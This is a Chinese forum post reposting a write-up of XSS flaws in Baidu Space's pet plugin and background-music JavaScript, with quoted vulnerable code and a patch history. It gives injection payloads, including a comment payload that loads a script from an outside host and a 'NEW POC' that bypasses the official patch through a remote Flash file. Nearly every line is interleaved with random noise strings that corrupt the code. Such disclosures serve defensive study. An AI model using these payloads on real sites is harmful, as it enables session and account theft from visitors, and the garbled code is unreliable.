找回密码
 立即注册
查看: 2897|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
& e' m% F1 s5 A$ P
  g  K, N! G5 g4 s) A1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
- n- N. Y% F* G8 b: u2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
# u( R, |. n1 B* O6 a' J+ D5 d2 Y4 v7 K/ @  N  R  h; e& I
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  # J: _2 v1 @' L; {$ X
其中BdUtil.insertWBR为  
- U5 p1 c. i+ M! qfunction(text, step) {  
7 E' ]7 [, U8 D    var textarea = textAreaCache || getContainer();  
; m$ q! P: `) S- R    if (!textarea) {  
* y. O% v% _# F, i        return text;  8 P0 `8 T/ E2 j1 f# `& d# d
    }  
$ n! [  ]. ?: S! \  n    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  8 T* g8 x( H9 p1 m) N* q
    var string = textarea.value;  
  ?4 E, V  C/ H9 Z( K    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
$ P- Y) C0 ?1 R    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  & k$ V/ D; A. l8 d; ?$ L
    return result;  
0 U5 ]- J7 ]8 {( N/ l  d3 N}  ; h# S: J4 A( J' S  K- z$ S
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  " {% Z' O( W7 i# g9 i; s6 ~. s3 Q
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
  }& S6 E; t" s$ K/ N* a: |' W- h   # {- I1 W2 |& F2 S; T( X# D' d
二:creatbgmusic() Dom-Xss Bug  4 g0 o9 h5 I- r9 i
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
4 c0 }. d3 i* o3 D7 a' f$ [. H2 U0 Z( k8 P' V
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  * K+ |8 K5 k3 N, w- l* X
5 V) c% x9 Y7 h# O
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  $ P' x5 Q! _; @# t. m5 a% ?
    //传入的murl赋值到bgmusic1和bgmusic2中  
; k* H9 d% V- h" I    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  - j0 |' w8 X4 A- V. g
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
$ n% k1 s  ^! v! {/ M8 U* k    if (musicnum <= 1) {  
0 h1 N8 X! m$ A* h1 H7 e8 F        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
; T6 H- D4 }( V; `8 V% A    }  4 j4 C% r! f5 A: f& a
    bgmusic1 += "</OBJECT>";  
* `# k" M+ `! n+ e: Q$ N' J    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  1 P2 V" V7 Q' G6 V
    if (musicnum <= 1) {  " O6 U$ O, g0 a/ k
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
/ A! G/ O! w/ I    }  6 ]. w8 h% c) O6 x' U0 E( r
    bgmusic2 += "> </EMBED>";  
  q6 U0 R4 l" U0 b, W/ f2 {    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  2 G8 G' H8 M! t, `2 f2 s8 c0 o; y
    var bgmus = detectWMP();  0 |/ q5 S2 \$ T: r  v: d1 C2 p
    if (functype == "FckMusicHelper") {  
$ V) o4 {. _% m7 p        if (bgmus.installed) {  8 O2 Z7 i$ @! `2 @$ c- @6 F7 [
            if (bgmus.type == "IE") {  . t$ W7 y! x' ~
                return bgmusic1;  # r3 S6 \# ]& [! j, \: F
            } else if (bgmus.type == "NS") {  # Q) ]* F! [0 \9 k/ [8 T
                return bgmusic2;  * N; r0 H% z* c5 r0 H) E
            }  
: d9 X. H; T7 w' M* Q        } else {  
' ]& E& K, g( I/ z            return bgmusic3;  2 \' \# l+ s. @  \' a6 h" K
        }  3 R. ~7 A: Y3 D. I4 K: m$ q
    } else {  
- U+ ~% Y, j8 f" |        if (bgmus.installed) {  
/ h' c+ g! e& ~0 W4 h1 X4 X            //document.write 直接输出bgmusic变量 导致xss  0 U6 m. m6 V4 w8 j8 N, r  w
            if (bgmus.type == "IE") {  - O$ W8 y  ]& E" P0 c* x
                document.write(bgmusic1);    i3 l) l' D) |. j9 N) P2 T! O
            } else if (bgmus.type == "NS") {  
6 Z  a0 x5 S: o1 z                document.write(bgmusic2);  . }8 W; P+ a4 x3 z: d& W: W+ ^5 d
            }    p8 i) ^1 O# O! |: F1 N8 J6 a
        } else {  ) e; l  k2 N' G( ?5 Q
            document.write(bgmusic3);  
- l+ I: F! e3 A! r        }  
) i% p& J% J: F" c! R1 p- U        return "";  , C! E9 E# c+ U8 t' v4 z
    }  7 C+ q( ^0 n; I
}  
+ v7 v6 G! F" i% e1 A* x' U+ I. V+ T, ]# r: g) h5 N
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
- `: K" N2 f: ~) l- @: Z# _6 }' O& E$ S
5 N9 N% R+ |: ]& ]2 v( [- cfunction initBlogTextForFCK(){  5 [& d! V8 Q! ?0 W
//fck init music  , _9 B4 B2 l# J9 g. s# U
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
) N* P2 e- W  G, Pvar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
' ^, G7 a7 U: K+ K( m" Bvar isAutoPlay=true;  * T! c8 m0 K" O9 Y" d, r: Q. l
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  # p2 s9 W* Y, F9 E! V' ]4 B
  var img=imgBox;  9 U4 c8 \- L; V1 T
  if(img.getAttribute(’rel’)){        
( A' @5 n7 w! J& r   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  & x/ \- v: h/ Z! x* Y# a( d
   var musicDiv = document.createElement("SPAN");  
2 P. ?- ^& t( z   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
# ^4 i' r( Q; y& i, j9 r; t     ; o8 S% A! l5 s! M: e
      ..........................  ( v; Q3 g7 v; y' U# I0 U8 p* P) m
     9 V: b$ P8 u" [  ~4 A
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   % O, D+ N& N; s9 ?
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  1 N' `; i$ y& W' h% i0 e5 E6 e1 ?
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
0 L$ R( \6 ?- f3 H. @9 e7 K8 |   musicDiv.innerHTML=shtml;  
4 ^2 @' ^+ {( b( W0 V   i--;n--;  * O9 O* }3 ], k9 G) u
  }  
& ~7 w3 d0 X4 V}  * J! V: F& i8 C0 p
' \* R+ a& o( D4 ~8 @
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
! C9 ^$ k" n8 v   3 ]; R6 d- k0 ?9 |$ H7 Z
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
! s; @: F& \5 j8 n2 r- i+ f8 }* ~* U* u9 q
等待官方补丁  : M. A$ A- {; q
. `+ a+ ^/ ^5 A, _' m6 h+ g% d
update 2010年5月13日   2 m! g5 J2 ^9 U4 y
% W7 Q# h/ _- O. |1 {0 [) F
官方补丁:  
# Y9 L* t, V1 y6 r  _
$ B# f( C" w7 Q* }. S# B' B( Jvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
' d, x! O7 U% a2 {2 c& @4 F0 K改为:  . }7 q. a2 j! R: r8 ^7 S: v
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
2 [# r" l6 y3 O6 W2 I- H) v6 Q3 u* P8 \/ C3 q* T0 i
update 2010年5月13日 21:50:37  6 s6 c  N0 S1 K3 k
1 s1 f% r$ a$ C" e6 n, y/ K
补丁存在漏洞 没有过滤" 可以继续跨:  * b4 [- V2 {1 Z8 p- n

7 E* l9 Z* ^; q, V% O# Y" Y; eNEW POC:  
8 [+ J: q( N5 c: i! a7 R/ Z! c) O& t! p
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
& i7 x, Z8 C3 t1 q+ o
3 N7 P7 E. j& U3 f# c. f0 callowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
) o. B  j6 U/ v" b0 B( l: @# V$ i  P1 Q
; [6 k' c; G1 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表